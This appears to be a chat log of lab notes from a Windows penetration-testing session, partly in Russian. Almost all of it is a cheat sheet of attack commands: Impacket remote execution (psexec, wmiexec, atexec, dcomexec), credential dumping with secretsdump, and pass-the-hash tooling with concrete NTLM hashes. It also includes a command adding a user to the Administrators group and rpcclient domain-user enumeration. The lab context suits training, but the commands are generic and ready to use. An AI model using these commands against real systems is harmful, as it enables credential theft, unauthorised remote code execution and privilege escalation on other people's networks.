services.py -debug vagrant:vagrant@192.168.50.201 start -name 1

**Синхронизировали время**


atexec.py -debug vagrant:vagrant@192.168.50.201 "whoami"
wmiexec.py -nooutput -debug vagrant:vagrant@192.168.50.201 "mkdir c:\\123456"
**evil-Winrm**



[14:53] Ярослав Шмелев
sudo gem install evil-winrm
https://github.com/Hackplayers/evil-winrm
dcomexec.py -nooutput -debug VAGRANT-2008R2/vagrant:vagrant@10.0.2.4 "mkdir c:\pwnwmi"
[14:58] Ярослав Шмелев
https://habr.com/ru/post/114150/
Хранение и шифрование паролей Microsoft Windows
Про взлом паролей windows было написано немало статей, но все они сводились к использованию какого-либо софта, либо поверхностно описывали способы шифрования LM и NT, и совсем поверхностно описывал...
secretsdump.py vagrant:vagrant@192.168.50.201
[15:00] Ярослав Шмелев
psexec.py Administrator@192.168.50.201 -hashes :e02bc503339d51f71d913c245d35b50b
[15:01] Ярослав Шмелев
https://ru.wikipedia.org/wiki/NTLMv2
NTLMv2
NTLMv2 (NTLM версии 2) — встроенный в операционные системы семейства Microsoft Windows протокол сетевой аутентификации. Широко применяется в различных сервисах на их базе. Изначально был предназначен для...

Shmelev Jaroslav, [25 июня 2022 г., 15:09:11]:
psexec.py -hashes LM:NTLM admin@target
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b VAGRANT-2008R2/Administrator@10.0.2.6 whoami
wmiexec.py -hashes :NTLM admin@target
wmiexec.py -hashes :e02bc503339d51f71d913c245d35b50b VAGRANT-2008R2/Administrator@10.0.2.6 whoami
export SMBHASH=aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
pth-winexe -U admin% //target cmd
SMBHASH=aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b pth-winexe -U Administrator //10.0.2.6 cmd
pth-wmic -U admin% //target "select Name from Win32_UserAccount"
pth-wmis -U admin% //target "cmd.exe /c whoami > c:\out.txt"
pth-smbclient -U admin% //target/c$
pth-rpcclient -U admin% //target
pth-sqsh -U admin -S target # Microsoft SQL Server
pth-curl http://target/exec?cmd=ipconfig
pth-net rpc group ADDMEM 'Administrators' username -S target -U domain/user
./client/X11/xfreerdp /v:target /u:admin /pth:31d6cfe0d16ae931b73c59d7e0c089c0
http://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/
wmic qfe list | findstr KB2871997
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:cdf51b162460b7d5bc898f493751a0cc HARIS-PC/Administrator@10.129.177.234 whoami


эннумерация установленных обновлений


rpcclient 10.129.82.4 -U hacker
enumdomusers